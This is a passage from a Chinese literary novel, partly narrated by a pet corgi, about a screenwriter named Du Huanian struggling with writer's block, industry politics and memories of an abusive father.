《秦淮烟雨遇故人》
1. 我的麻麻的叫……杜华年?
我是三年前被她捡到的,那时候我多大其实我不记得,但我知道我还需要喝奶,可是我却总是饿肚子。那已经是深秋了,很冷,我躲在一排高高大大的桶旁边,希望能暖和一点,或者捡到一些吃的。
她踩着天蓝色的高跟鞋走过来,滴滴答答,脚步声很好听,踩着地上绢黄的落叶,颜色特别漂亮。后来我长大才发现,我其实只看得见这两种颜色,而她那天还穿了一条柠檬黄长裙子,戴了一顶天蓝帽子。
当时的她,我全部都看得见。我好高兴,忘记了肚子饿。
然后她蹲下来,抱起我,我一点都不怕她。
我在一个有很多狗的地方住了好几天,麻麻天天来看我,然后我洗了个热热的澡,麻麻就带我回家了。
我到新家的第一天早晨,下了雨,据说是两个寒潮相叠,天空阴郁,屋子里暖融融的橘调灯光特别诱人。闹钟已经响了好几遍了,她还不起来,这个麻麻有点懒。她终于冒出了头,我刚跳上去就被她摁进了被窝里。
终究我的力量有限,唉!
赖床、起床、洗澡。何芳芳清醒以后的速度吓了我一跳,她穿着睡袍在衣帽间里挑衣服的时候,我还没有搓完我的狗脸。
陈姨敲敲门,问她想吃什么早餐?她说昨夜梦中回到了家乡,笑说想吃煮米粉。
吹头发、卷头发、化妆、换衣服,熟练得像一个机器。二十二分钟,她“啧”了一声,说超时了。
吃了煮粉后,我觉得她的闻起来好多了,更漂亮了。但她涂了口红之后,会变成另一个人,有点凶。
她会带着我上车,给我坐在副驾驶上,还有一个专门的小型安全带。
十点,已经错开了早高峰,车在烟灰深青中穿过时空去往颐和路,两旁高大的梧桐树上和地上都是黄叶。
我对这一段路的印象一直都是冷,很冷,很饿,但从那天开始,我觉得那条路非常温暖。
车子停在一个院门口,有个男人迎接她,非常恭敬,叫她杜小姐。什么?杜小姐?她跟我说她叫何芳芳呀!我伸长脖子,被她摁回来,然后有个小可爱姐姐走上来接过了我。
她可是个话痨,麻麻叫她小赵。小赵跟我说她是麻麻的助理,从那天起,我跟着麻麻上班的每一天,很多时候都是和小赵待在一起,那天小赵告诉我,其实我麻麻叫做:
杜华年。
啊?我的震惊眼神只有小赵回应了一下下,而已。
杜华年这三个字的分量是一只狗难以理解的,租在公馆区的工作室都不止是财大气粗这么简单。她尖细的高跟鞋踏在水漫青砖上发出法海敲钵一般的节奏,今天的项目会仍旧听得她犯困。
回到办公室,财务要来送报表,HR来汇报面试流程。李雯大剌剌走进来时HR还没讲完话,她甩着一身夸张的烫金色垫肩西装和大喇叭裤,短发甩出复古disco的弧度,杜华年看得直接走了个神,冲着她瞪眼抬眉毛,就差吹口哨了。
李雯看着一旁小椅子上蜷着的奶狗小柯基,也瞪眼抬了个眉毛。
好不容易人都走了,李雯往桌前椅子里一扔屁股,坐出了地痞资本家的气势,“你今天穿得像去办丧。”杜华年没有回应她,只是翻看着HR留下的面试名单,李雯收起了她的气势,切换成一个过来人絮叨她,“不要再面试这些没用的啦!我们很快就没有出色的剧本了,下头那些小编剧没有你当年的实力,我们撑不了多久了……”
杜华年没再看她一眼,抽起酒红色小皮包往外走,头仍埋在那份手里的名单中。李雯住了嘴,目送她。再回头盯着小柯基,柯基一抖,就被李雯抱了起来,“你就是她路边捡的小可怜?嗯,至少这女人养了一只宠物,是个好的开始。”
来到三楼的排练厅,杜华年见到了通过筛选进入面试的五个人,都裸露着上半身,雪白的肌肤和婉约的肌肉线条,精心梳理过的刘海和略施粉黛的脸庞。看见她进来,人人都像打了肾上腺素一般绷直了,恨不得立刻发射冲出天花板。她虽说只是个编剧,但她的工作室有一套完整的电影制作班底,同行业的薪酬福利水准中,她开的条件一向是天花板等级,所以她有最好的导演、摄影、美术、灯光、化妆、服装、道具……而她自己就是最好的编剧。
除了演员,她这里什么都不缺。
除了专业,她找人什么都不看。
即便如此,一个月了,整整一个月,她没有面到一个满意的武行,个个小白脸都只是想往她床上挤。
象征性地看了五个人的套路表演,她叫他们回去等消息。有人老老实实往门口走,总有一两个胆子大,朝她走过来,姐姐长姐姐短,问她觉得他们怎么样?
怎么样?老娘只想把你们摔进垃圾桶。她只是想想,抬眼扫过他们的眼神便锋利得刮人,排练厅一瞬走了个干净。她闭上眼揉着眉心叹气,转过头看向排练厅的窗外,秋风萧瑟里,片片梧桐飞叶,玻璃窗倒影出她裹在黑色羊毛大衣里曼妙的身形,大波浪长卷发与血红色双唇,她的脸色白得像秋天冰冷的阳光。
杜华年是一个合格的资本家,她一直认为,解决所有人的后顾之忧,才能让所有人都卖力工作,所以她不顾李雯的反对,一定要在这个小型工作室里配一个完整体系的食堂。
“食堂?”李雯听到这件事的时候表达了她能表达的最强烈的反对——
“基于出资比例,你应该听我的。”
“基于工作比例,我如果不干活,你的钱就只能打水漂。”
“那里头也有你的钱!”
“我也可以让里头没有我的钱。”
李雯看着她傲慢的脸,心中生出无数拆伙的方案,可最后还是妥协——
“我可以叫我家厨师单给你做,单给你送,其他人,他没必要啊!”
杜华年却收起了傲慢,郑重而严肃地叹口气,“李雯,你比我多活那么多年,难道不明白眼界的重要性吗?别执着于这些小钱,如果你总想着抠搜成本,那么你的作品也会是一件缩水的羊绒毛衣,料是好料,却还不如隔壁一件尼龙混纺,糟蹋了啊!”
李雯瞬间被她的气魄感染了,不自觉地点头,半晌才想起来强调,“我只比你大五岁!不要说得好像我和你差辈儿了!”
李雯在乎的重点总是很容易被模糊转移,这就是杜华年真实的想法。今天有二十个人在同一时间到一楼食堂吃饭,她从二楼把柯基抱了下来,亲自泡了一碗羊奶拌狗粮给它,然后看着它吭哧吭哧地埋头苦吃,觉得十分治愈。李雯坐到她对面,窗外正好是一排竹子。她问给狗起了什么名字?
猫猫。
据说艺术家和疯子是同一种人,李雯想,食堂叫做潇湘馆,狗子叫做猫,这名只有杜华年起得出来。
她知道这只是李雯的开场白,于是,“说吧,你今天一直憋着的话。”
“最近五年,院线、小说平台、游戏平台,武侠类型都不在前五,市场因素应该要兼顾。”李雯认真看着她。
她吃一口面,“数据我更熟。”
“所以啊,停止找武行吧,预算该拿来聘些演员,至少是有合作约的,这样我们就有一个闭环了。”
“我是个写故事的人。”
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她看着地上吧唧嘴的猫猫一脸心满意足地趴在脚边。
“市场喜欢什么故事,你就写什么故事,不冲突。”
“你怎么知道,没人看是因为没人爱看呢?不可以是因为没有人写,所以爱看的人才没东西可看?”
她突然锋利的眼神盯得李雯心尖一颤。这是李雯久违的目光,她有些艰难才找回自己的声音,“现在不是你让人看什么,人就必须看什么的时代了。”
她听得到李雯话中的讥诮,她知道这话说出来会让人笑她天真狂妄,但她还是说:“只要我写得够好。”
李雯妥协,“这也并不影响你招一些演员。导演你养着,编剧你养着,服化道、美灯摄,你都养着,人家一个剧组自己就能配齐。行行,你养,但是这些人他们很难挣外快,因为这些工作一没有那么缺人,二附加值不高。可是演员不一样,工作室有戏,他们在工作室拍,工作室闲了,他们可以接外戏,合约在自己手上,抽的回佣可以加长运转周期,你也有更多时间写你的梦想,一举两得呀!”
李雯的口气妥协了,但她的心没有,在她眼里,杜华年已经疯了一个月了,哦不,已经疯了一年了,这一年,她一个字都不写。
潇湘馆里吃饭的人跑了一半,猫猫不知道什么时候悄悄蜷到了角落里。
“我没有跟你谈虚无的东西。”杜华年放下碗,“我拿最佳编剧的本子就是个冷门小众的类型。逆势而上的,才是真实力。”
她嚣张的态度李雯见得多了,但仍旧很难习惯,她猛顶后糟牙,“你追求你的实力,没问题,你嫌挣钱的故事俗气,那我来做,也没问题啊!”
杜华年微微勾起左边嘴角,“李雯,就是因为你从来不懂不遗余力是什么意思,所以你才会一直依赖你爸的钱。”
这话简直就是在骂李雯除了有个好爸,一无是处。但偏偏她骂得非常柔中带刚。
李雯真生气了,气得除了喊她全名别无他法,“杜华年!”她是点着头往外蹦的字,喘口气又一遍,“杜华年!!”喊完还偏头看了一眼整个食堂,人已经走空了,还是不解气,再来,“杜华年!!!”这回她直接站了起来,居高临下看着杜华年,“你这个动不动就人身攻击的毛病能不能改?能不能?”
杜华年抬眉看着她,“是你先动手的。”表情里还带着狼崽子的凶狠。
李雯眉毛飞到了发际线,“我攻击你什么了?”
杜华年张嘴想说,却吐口气闭上了嘴,朝天翻起白眼。李雯不是第一次看见她这番冷暴力的嘴脸了,她感到无比疲惫,抽起包就走。
潇湘馆只剩下杜华年和猫猫。
小柯基吧嗒吧嗒挪过来,抬起头往她身上招呼软踏踏的小爪子。她长叹一声,弯腰抱起了猫猫。只有她自己知道,她被踩到了哪条尾巴。她不确定李雯到底懂不懂她,可是她们毕竟合作了那么久。
在世人眼里,有才华的人总是幼稚的,李雯也不过是把她当做一个幼稚的人,不然为什么她总用一种哄小孩的语气去包裹她的愤怒呢?
还有眼神,她很不喜欢每次讨论发生冲突时,李雯看她的眼神,她觉得她不懂商业,只懂理想。怎么了?理想很轻贱,钱最伟大?谁跟她说她不懂钱的伟大?她从来不觉得不能挣钱的理想配叫做理想。
她的理想一定能挣钱。不然这么些年,挣钱的是什么?她摸着狗,觉得幸好上周捡了它。
我的麻麻其实很悲伤,那天充满食物香气的房间里最后只剩下我和她,她抱着我,我知道她根本不是生气,她是觉得害怕,虽然我不知道她害怕什么。
2. 江月见我,我见江月
李雯回到城南的公寓,闷头想了一个下午也没想明白,她到底踩了杜华年哪条尾巴?越想越气,于是找了个臭脸的布娃娃掐在手上,戳着它鼻子就骂:
“上周一,你说要拍个武侠片,庆祝五周年。我的天,武侠片退出市场有十年往上数了吧?我就说了句市场不利好,你整个脸就垮下来,好嘛,在场几个导演也是有家底有作品的,怎么一个两个装聋作哑。
“行吧,你实在要拍,我不是也同意了吗?我说你写个本子给我呀,别人写的我不放心,你写出来可以拍。你呢?你不回答我!
“你的电影筹备周期那么长,我找点演员,让工作室溜边小编剧写点爽剧,短周期拍出来整点流量,两全其美,到底有什么不好?
“杜华年你就作,现在市场多差你不知道?
“我真是倒了八辈子血霉了我这辈子来伺候你!!!”
……
骂累了,她气也消了大半。思来想去问题还是在剧本,只要杜华年写个像样的武侠本,也确实很有可能像她说的那样,冷门变黑马。她自认为一向把杜华年当公主在宠,甚至引以为傲,于是她现在突然感到不安,觉得自己上午的语气确实不太友好。
可是杜华年却打来电话,声音和平时一样平淡,“往后七天别叫人来烦我,我在家写本。”李雯没反应过来,一时没出声。
“喂?喂?”
听着她不耐烦的语气,李雯的心突然就落下来,咧嘴一笑,“看咱这默契,我刚想打电话给你。”
杜华年嘴角也忍不住勾起来了,又赶紧压住,“滚。”
李雯抢着她挂掉之前连珠炮一样输出,“你写归写,该吃吃该睡睡啊!我叫陈姨监督……”
行,挂了。李雯从床上爬起来,拉开窗帘,傍晚柔光洒进来,她感到肚子饿了。
我算是知道麻麻怕什么了,原来她有一个梦想。
我看见她坐在书架前,盯着一排书发呆,感觉她的眼神就和我看见羊奶一样。她不止看,她还一本一本拿出来,也不翻看,就摸着封面,看看书头看看书脚,我觉得都比看我更认真呢。她一手摸书,一手摸我,问:“我能不能写出那么好的武侠故事呢?我已经很久没写东西了,如果我写得不够好呢?这一次拍不成,下一次我就更不知道是什么时候了。”
我很想回答麻麻今天写不成,就明天写,下一次?下一次不就是下一次喝奶的时候吗?但我只会哼哼唧唧,麻麻却被哼哼唧唧逗笑了,她说:“好吧你只是一只小狗狗,你怎么会懂那么多呢?”我着急了,我怎么不懂?我懂我懂。一着急我就往她脸上舔,麻麻躲我,一把又给我薅住了,好吧,反正麻麻笑了。
杜华年已经一年没动笔了,似乎生活只要到了一个节点,人就会必然失去某种气力,因为源源不断输出这种气力的泉眼在某个你不会知道也很难感知的地方、时刻,干涸了。我们管这个节点叫做年龄,管这个泉眼叫做年轻。至少杜华年是这样总结的。
好像麻麻说的是对的。她一直闷在房间里坐在桌子前不停地写啊写,时不时就撕下来一页纸揉成一团扔在地上,我身边的纸团越来越多,它们都很诱人,我实在忍不住捞了一个过来,我的牙齿很痒,我很想咬,咬……咬吧,反正麻麻也不要了。
陈姨来叫她吃饭,她站起来眼前一黑,满地的碎纸屑,几乎已经看不见地板了,猫猫可怜巴巴地缩在角落里,向上瞟着眼睛看她,显然它也知道这事儿错大了。陈姨敲门进来,见状连忙安抚杜华年,“你先出去吃饭吧,我来收拾。”
杜华年开了一瓶酒。她已经写了几版大纲,但感觉都像在拼凑小时候看过的武侠小说,似乎只要和江湖有关的故事,总也逃不出那些套路。难道真如人们所言,江湖已经被写尽了,所以才沦落?喝到开始晕乎乎时,她耳边响起父亲最常教训她的话:你想表达的东西太多,都放在一个故事里,又臭又烂!
骤然烦躁,她一口气闷干剩下半瓶酒,咣一声,把空瓶拍在桌上,站起来打开了窗,摸出一支烟点了。城市的夜晚,喧嚣涌上来,她抽完一支,匿名把大纲投到了工作室邮箱。
工作室邮箱常年接收投稿,为了节省人力,杜华年几年前就找人写了一个AI程序,自动过滤一遍所有稿件,把基本错误太多,结构错乱,不属于剧本或者小说的都先排出去,最后上线使用前,她又临时加了一条淘汰类型:俗套。
不仅如此,这个程序还会非常诚实的把退稿原因告诉你。李雯说,损还得是杜华年。
大纲才几千字,AI的速度堪比光速,很快她就收到了邮箱自动回复退稿,退稿理由:俗套。
“他妈的!”她骂娘,又开了一瓶酒。
陈姨早就回家去了,城市从喧嚣渐于宁静,杜华年不知何时倒回了床上。
她做了一个久违的梦,回到了炎炎夏日午后,汗流浃背的小女孩儿趴在桌前,低着头攥着笔却也不知道自己在写什么,可她知道不能停,因为父亲就在她身后看着她。他拿着一杯酒,对她说:“重写,今天写不好就别睡了!人人都知道你是我的女儿,你发表出去的东西一定要对得起我的名声。”小女孩儿吧嗒吧嗒掉着眼泪,视线已经模糊了,但还是不敢停下。
她醒来,满脸泪水,枕头边躺着空酒瓶子。她仰躺着,睁眼望着天花板,眼角还在无意识地淌着泪。回忆这个梦,她思索着一个问题:当时我妈在哪里?可能在和其他姐妹们打麻将吧。但总之,父亲只要一喝酒,她和妈妈总要有一个人遭殃,那么好过一起遭殃。
有那么一次,父亲出差了一个月,她和母亲过上一段美好的时光,她不必担心他发出恐怖的吼叫。即便常常从睡眠中惊醒,但醒来又想起他并不在家,那种一颗寒风中颤抖的心迅速跌进温水里的感觉实在叫她迷恋。
但终归他是要回来的。她问妈妈到底为什么不离开这个男人呢?妈妈的回答才是真的叫人绝望:
“你爸爸不是一个好男人,他或许也一点都不爱我。但是妈妈见过不少男人,他们都不是什么好男人,可至少,我跟着你爸爸,可以不用出去工作,他会养着我,他给钱从来不含糊。”
她记得她很想反问,但她太小了,脑子里想不出什么可以反问的论点。但她妈妈大概是看出她强烈的质疑和谴责,于是她继续语重心长,“芳芳,女人能做的事情很少的,像我,从小也是衣食无忧,可是长大了,却突然要被扔到又脏又臭的乡下,做苦工,吃不饱,睡不够。等你长大就会明白,不管嫁给谁都是一样的,男人都不会永远永远对你温柔耐心,最后都是大呼小叫,因为你已经没有价值了。可是当你没有价值的时候,大部分男人就不愿意再为你付钱了,可你爸爸却仍旧愿意,那你说,是不是他已经很好了呢?”
说完,她就打电话约起了小姐妹打麻将,空留一个小小姑娘思索着本来就不可能是一个小姑娘能思索的问题。
哼,他觉得你没价值,你就要甘心情愿做一个废物了吗?三十岁的杜华年早已想明白当年思索不得解答的问题,但,这差劲的感受却似乎永远不会逝去。
她像眷恋这窒息梦境般,一动不动,不肯承认已经醒来。因为好像只要始终留在绝望悲愤里,她就可以一直感到一种自弃的享受——沉沦的愉快与轻松。此时,时间流逝感会消失,她离开可感知的焦虑,暂时又永恒,像在吸毒。
她床头有一串从清迈勐甘功遗址带回来的大菩提子手串,她偶然一天发觉只要带上它入睡,便能梦境不断,过去窒息的潜意识源源不断地滚回来。此刻,手串正圈在她细白的腕上。
猫猫从脚边慢悠悠挪上来,装傻充愣地钻进她怀里,噗通一声趴下了,脑袋正好蹭在她下巴。
我已经在床脚醒来好一阵子了,我知道麻麻也醒了,可是她怎么就是不起来呢?我装睡了一阵子,揣摩她的想法,可是她的脑电波太乱,我什么也总结不出来,但她不开心是肯定的。啊!这些脑电波太多,又纠缠,不行,我得去舔舔她,至少闻一闻,我就能更快地知道她在想什么。哎?我一靠近她,她就笑了,闻起来比刚才开心多了。
杜华年从床上爬起来,就像脱离沼泽的幽灵,打开门发现陈姨才要离开,看见她还讪笑了一下,“我看你喝了酒,就给你煮了粥,怕你胃痛,还给你做了些点心,只喝粥容易饿。我本来怕你还没睡醒,所以只留了字条。”杜华年看着陈姨有些小心地解释,生出了一种没来由的愧疚。
她洗了个热水澡才开始吃饭,肉粥香软,小菜也很可口,烧麦包子热烫味浓,胃里舒适起来,她心里瞬间变得十分清明起来:我恐怕确实失去了某种曾经任意挥霍的天才,可能再也写不出什么能打动人的作品了。
还来不及悲伤,手机弹出了一条消息,她随意看了一眼,笑了。
刘芊芊是当红流量女明星,有身材有脸蛋,有话题有个性,什么都有,就是没有演技。但她最近得了一个消息,杜华年工作室有一部新片《洗尽铅华》要选角,如果演上杜华年的片子,转型就有了希望,至少能被人夸一句:刘芊芊也是愿意打磨演技的,不是只看重流量,会主动突破舒适区。
但杜华年的剧组里话语权最低的就是演员,她很清楚地知道自己很有可能一轮试镜都过不了,于是她不知道又从哪里搞来了杜华年的电话,疯狂给她发消息,已经两天了。
杜华年摸着猫猫,觉得讽刺。《洗尽铅华》的故事在她看来才真的挺俗套,一年多前随手一写就丢在了角落。这半年李雯觉得工作室产能下降太多,又去把这个旧本子翻了出来,“影视寒冬了这么几年,好不容易有些回暖,人人都在加紧产出,咱怎么能落后呢?”
杜华年想:那其实是我的产能下降了吧。一回头才惊觉,从《洗尽铅华》之后,她居然就没再写过一个完整的故事。而写《洗尽铅华》时,她还十分不在意,觉得只是个废稿,写着玩玩,往后灵感一来,自然多得是好故事。
可是,她却没再写过一个故事。她摸着猫猫自问:“这一年我都在做什么呢?”
她当然不会被刘芊芊的执着感动,但消息里有一句话:华年姐,我不是要女主资源,我是觉得女三的性格核心是野心和不服输,我觉得我挺合适的,尤其是有野心这一点,我也有。请求华年姐给个机会试试我!
她怎么知道女三什么性格?
刘芊芊正在上海拍戏,杜华年收拾了一些简单行李,将猫猫塞进车里,连夜开车上高速。到陆家嘴时已过午夜,繁华商业区的灯光也没那么闪耀了。她直开到芊芊租住的公寓楼,停好车,抱着猫猫站在26楼的公寓门外,按响了门铃。
芊芊家门一打开,震耳欲聋的音浪逼得她迅速将脸转向一边,眉头皱得几乎相连。宿醉加上连夜开车,一个三十多岁的女人真受不了重低音快节奏的最后一击。她紧闭双眼,苹果肌抽搐,尽量扭动脖子,企图远离这间屋子,但此行的目的令她展现出成熟女性为了维持体面的控制力,她并没有更大的动作,强行吞咽几次,压抑了肩膀后缩的欲望,保持端庄修长横平竖直地站在门口,一只手还捋了捋猫猫的毛。因为她与此间场景太格格不入,灯光闪烁间,半个屋子的人都朝她望过来。
她甚
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至连打量这些人的力气都吝啬,淡漠的盯着某个稍微白净的衣裳游离。一个女人拿着半杯香槟急匆匆地拨开人群朝门口撞过来。尖脸,白嫩,眼睛明亮,浓妆令人看不清轮廓与细节,鲜红吊带长裙,锁骨下甚至隐约可见肋骨纹路。
太瘦了!杜华年控制着眯起眼睛,极细微地摇了摇头,幸好戴了一双巨大的水晶耳环,轻微的凉意让她更能控制自己的摆动幅度。
芊芊一口一个“姐”,恨不得扑到她身上,把手上香槟往门边男生怀里一砸,微弯着腰双手来拉她。杜华年顺势给她挽进了门,芊芊殷勤地给她脱下军绿色毛呢大衣,全看不见一旁殷勤伸手来接的男生,亲自抱着大衣,搂着杜华年往楼上走,一路咒骂这群小年轻玩得太凶。
穿过客厅,杜华年看见一屋子男女摇头晃脑,一亮一灭的灯光已经令她几乎呕吐,她脑中骤然闪过黄金时代的港剧《扫黄先锋》里的画面。
二楼落地窗望出去,能看见整个黄浦江的江湾,坐拥整个陆家嘴的繁华。杜华年扫视了一遍景色,低头望了望猫猫,露出意味不明的微笑。
芊芊一直在观察她,看到她笑,以为她喜欢这风景,“华年姐,我租这里就是因为视野好,人不都说,站得高看得远,看得越远,地位也越高。”
杜华年轻轻挑眉,几不可察地垂了嘴角,“我的狗可以放在地上吗?”
芊芊睁大眼睛大声说:“怎么不可以呢?快,让我也抱抱它,多可爱呀!”
猫猫很温顺地任由她从杜华年手里把自己接过去,撸了两下,蹲下身把它放下地。
转眼间,芊芊端出了奶茶、果盘、曲奇、蛋糕,摆满了小茶几。杜华年坐在沙发上,见她一屁股坐在了矮垫子上半仰头看着自己,“姐,我是真没想到您真能来见我,我是真激动啊,你不知道……”
杜华年等着她讲,可是她却停下来。此刻她的残妆在明亮的暖光灯下与她的脸剥离了,杜华年发觉她有一双上挑的丹凤眼,其实本身很迷人。发觉她确实激动到词穷,只能微喘着气瞪着自己,就怕自己凭空消失一般,杜华年无奈且尴尬地一笑,“我相信,你很有野心。”
芊芊忙点头要说话,杜华年抬手打断她,“但是我需要你对我诚实,你是怎么看到剧本的?”她的目光寒冷无情,芊芊心一凉:完了完了,说多错多……
杜华年看着她迷人的眼睛里闪烁躲避,左右挣扎,忽而觉得很有意思,她耐心地等着。
芊芊大脑已经系统崩溃了,心里乱得就像神仙渡劫现场,就害怕说错话,不仅失去一次机会,可能还会得罪眼前的大咖。杜华年的眼神让她越来越急躁,她有个毛病,只要老师盯着自己,一加一也能写错。急于结束这种折磨,她一闭眼脱口而出,“是喵喵给我看的剧本。”
“哦?”杜华年轻轻一声,若有所思,她觉得这个名字虽然不在她第一序列,但却十分合情合理,毕竟从开年来,喵喵就跟她提过不止一次加薪的要求。她的化妆技术确实很好,但她实在有些恃宠而骄了。
芊芊没有停下来,一股脑全交代了,“上个月在巴黎我有一场活动,当时喵喵也在,我看她似乎是在给秀场模特化妆,说实在的,这是个很累的活,我就猜,她是不是缺钱啊?于是结束工作我就主动跟她聊,夸她技术好。刚开始她还挺矜持,后来我夸得多了,她就放下心了,我们加了微信,回国后我给她送了很多奢侈品包包,又跟她卖惨。最近听说《洗尽铅华》在挑人,我就问她能不能看到剧本,我本来没想到她会给我的……”芊芊仰望着她,希望她不要太生气。
杜华年看着满地乱嗅的猫猫,轻轻开口,“你该感谢你的真诚。别盯着《洗尽铅华》了,女三我要给一个资源咖。但是我会给你写一个女主戏。”她轻抬眼皮凝视芊芊。
芊芊逐渐张开了嘴,抬头纹渐渐显露,“我去!我没听错吧?不是,姐,这是为啥呢?”芊芊很有些语无伦次了,“我,我不是不乐意啊姐,我就是,实在没想到哇!姐!我的姐呀!”眼看她就要咯咯笑出声,又突然表情一僵,“姐,你说的是真的吧,不是拿我开玩笑吧?”
杜华年的眼神深不见底,“不是白给的,你要帮我办成一件事。”
芊芊心又一凉,暗骂:多大了,还做这种掉馅饼的美梦!她只缓了一秒,干干一笑,“姐,你说,看我能不能办,只要我能,立刻给您办了。”
“你们公司不是有两个网剧准备开?我想要两个女主资源。”
芊芊一松劲儿正要说没问题,又见杜华年抬手打断她,“另外,我要喵喵彻底消失在这个圈子。”
芊芊凉透了,她眨着眼,咬住下唇,心想杜华年心狠手辣呀!喵喵虽然是不对,但好像也不用这么……
见她犹豫,杜华年作势要起身,“你为难就算了,当我今天没来过。”
“哎,别别!姐,我的姐,我答应!”芊芊心一横,这么好的机会不能错过,错过不知道下次机会在哪里。
杜华年微微一笑,“好。一个月为期。”芊芊就只知道点头了。
刘芊芊直送她到车库,引擎启动时,还往后座扔了两个手袋。杜华年犹豫一瞬没阻止,朝她熟稔地轻轻一点头,开车离去。
芊芊站着好一会儿,模仿她点头的弧度和姿态,觉得这修养,这优美的弧度,简直了。
杜华年抱着猫猫站在黄浦江边,望着沉沉夜色下沉沉江水,已经是星沉月落时了。
猫猫啊!她抱紧柯基,心底一叹:天地之大,明镜何其多,却似乎唯有江月星云才照得见一个我,这个我,才是我想看见的我。
3. 千帆过
凌晨四五点是最尴尬的时候,头天的晚饭早就不顶事了,本来我该睡过去的,可是麻麻抱着我站在江边吹风,冷风把我吹饿了。麻麻似乎知道我饿了,她把我放回了车里,居然还从车子里不知道什么地方拿出了一包狗粮和我的碗!
麻麻!看我的眼睛,看我大大的眼睛,我爱你麻麻!
杜华年点了一支烟,站在车外靠着车窗,看了会儿在副驾驶坐垫上埋头苦吃的猫猫,心里寻摸着去哪儿弄些热烫汤水暖暖肚子,抬眼扫了一圈前后的路。
就是不愿开地图,杜华年沿黄浦江缓缓开着车,外滩后半夜的安宁像一柄法器,掀开了上海的过去。叮叮地拐着弯的电车、吆喝声里穿流来去的黄包车、身姿摇曳的旗袍美人、手帕香扇间的笑语盈人、卖香烟的女孩儿、百乐门的灯红酒绿都呼啸着冲她拥来,穿过她的车和身体,扑向江水。
七拐八绕,在一条小弄堂口看到一家馄饨摊,猫猫已经睡熟了,她把车停在边上,车窗留了条缝。坐下来,在烟火缭绕中,慢慢地吃一碗馄饨。
吃饱天边也泛白,摊子上多了三两赶早的人。手机震动起来,显示是她在建邺区的一套单位物业,她不记得什么时候存了这个号码,还以为是诈骗,接听起来打算玩一玩他。
没想到是她的单位爆水管,水渗到了楼下,楼下的住户上楼找她,怎么也找不到,只能找物业。
“我们找住您楼上的住户查看过了,确实是您家漏水,看水量应该是水管子爆了。十万火急,您看什么时候抓紧来处理一下,至少开门让修理师傅进去。”
杜华年应下,挂了电话。她发了信息给小赵,让她今天首要把水管处理好,又发信息给李雯,要她把空置的这套房子挂出去租。
天已经亮透,来吃早餐的人逐渐多起来。她给人腾地方,回到了车上,开到僻静处睡了两个小时,启程回南京。
小赵有点忙,八点一睁眼就看见了杜华年两条信息。基于她从来不会这么早起床,小赵给她回了个问题:你在哪里?
她也简洁:上海,准备回。
小赵再问什么,便杳无回音了。
水管子修了三个多小时,再盯着家政阿姨打扫干净,午饭的点儿已经过了。小赵在小区便利店胡乱对付了一杯泡面,掐着下午上班的点儿给物业送了礼物。正准备回一趟颐和路,陈姨打来电话要她替杜华年在千帆过定个位子,安排张导晚上七点见面,李导八点。
她一愣,直虎虎地反问,“她不睡觉啦?”陈姨瘪瘪嘴,“看起来她不打算睡。脸色差得哟……”两边皆是一叹。
秦淮河边除了过度开发的夫子庙商业景区,还留有大片曾经的民居,最佳的位置都租了出去,也有屋主人自信有赚钱头脑,装修一番,做起了各式各样的旅游生意。
千帆过的位置不是最好的,但胜在是自家祖屋,楼高可观,可以隔着不到五百米的距离,轻轻越过层叠的古老屋檐观见秦淮河上的熙攘。最妙的是繁华声传过来,正好消瘦到如隔薄薄烟尘的声量,是一个垂在红尘边上又不在纷争里的分寸,当真美妙。
杜华年非常喜爱这里,最多的时候,连着一个礼拜,白天全在这里待着,两餐任由老板安排,只有夜里打烊她才回去,第二天中午人家一下板她便站在门前。
老板姓姜,是个看不出年纪的女子,但总归不是少女。长着江南女子的标准模样,瓜子脸,柳叶眉,细巧的鼻骨和嘴,一双眼虽不大,却温婉多情,最要紧是皮肤好,又细又白。杜华年爱看她这样起伏温柔的脸,大约是因为她自己正好长得相反吧。
屋子是姜老板爷爷留给她的,现在就她一人打理,她还有个弟弟,姐弟俩在新区住,更多的她也从不肯再说。
六点,晚霞很一般。杜华年已经坐在她惯常的位置上,姜老板亲自上茶,坐在了她对面,一手支颐望着她,“这么了这是?一点气色都没有。”她讲话带点吴语口音,杜华年很爱听。她一笑,很不在意,“昨晚去了一趟上海,今天才回来。”姜老板吃惊道:“一晚没睡?妹子,你就不爱听我劝,我们家老人从前常讲‘睡觉最养女人’,还有一句,‘美人才更易老’!”
杜华年倦怠地笑,“你知道为什么‘美人易老’么?”
姜老板思考的时候总爱轻微地左右摇一摇,很像古时候开店的女子,“为什么?”
杜华年乐了,“其实都一样老的,只是美人给人看过了美的样子,印象太深刻,所以人们才特别不能接受红颜不再的遗憾和沮丧。”
姜老板愣了一瞬,忽然笑得花朵一般,“妹子讲话就是好听,特别有文化。今天还是我做主?鱼特别好,给你蒸鱼。”
“呵呵呵……”杜华年笑起来,缠绵地望着她眼睛,“你做主。”就像从前的诗人看着风韵迷人的酒垆娘子,就像从前的书里写的那样。
七点,张导准时到了,认真和她打招呼,“华年姐。”她微点点头,神色平淡,从包里拿出两份文件递给他,“小网剧女主,给你那个小模特。”
张导万万没想到她这么直接,下意识抬眼看她眼睛,她脸色虽然倦淡,但眼神却深藏凛冽,不仔细看,还真看不见。他舔舔嘴,“您都知道了?”
她往后一靠,懒得看他,“胡姐上个月就请我吃过饭了,我哪里有她那么闲?你藏得够好,我就不用替你操心你老婆,也不用替你老婆操心你。”
张导背脊生寒,点头认栽,“对不起!华年姐,你说,要我做什么?”
“大环境不好,但是喵喵闹着加薪,我没理她,她现在有二心。你和老李,带头降薪,我回头给你们点分红。”杜华年直视他,她眼神是灰扑扑的刀,看着钝,但其实吹毛立断。
张导反倒松一口气,“好,我一定办好。没什么事,我先走了,华年姐慢吃。”杜华年轻轻闭眼点头,“不送。”
其实老张知道,杜华年已经很厚道了,帮他解决了小三,本就大可不必给他分红,但她还是没让他在钱上吃亏。从男人的角度来看,他觉得杜华年这个女人真他妈不像个女人,但这种老板,是绝种好老板。
汤先上来了,姜老板亲自端来,鲫鱼豆腐汤,千帆过的一绝。杜华年喝了一碗,顿觉从喉头滋润到心里,容色都粉红了,“还得是你这一口汤,我不喝,就觉得今天灵魂都没有了。”
姜老板笑着横她一眼,“你这个老板,还替下属养小三啊?真是良心老板。”
她敏锐地捕捉到了姜老板的怨气,忍不住飞速打量她一眼,“没办法,当老板,就不能分男女。”她拍拍她手,“鱼晚点再上,一会儿还有一个男人要收拾。”
老李的性格不像老张,他叫一声“华年姐”后坐下,直接道歉,再问是不是他老婆找她麻烦了。杜华年一样的条件开出去,老李反应了两秒,直接开口,“多谢华年姐!我以后一定
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注意,不给工作室添麻烦!”杜华年笑笑,一样客套两句把他打发走了。
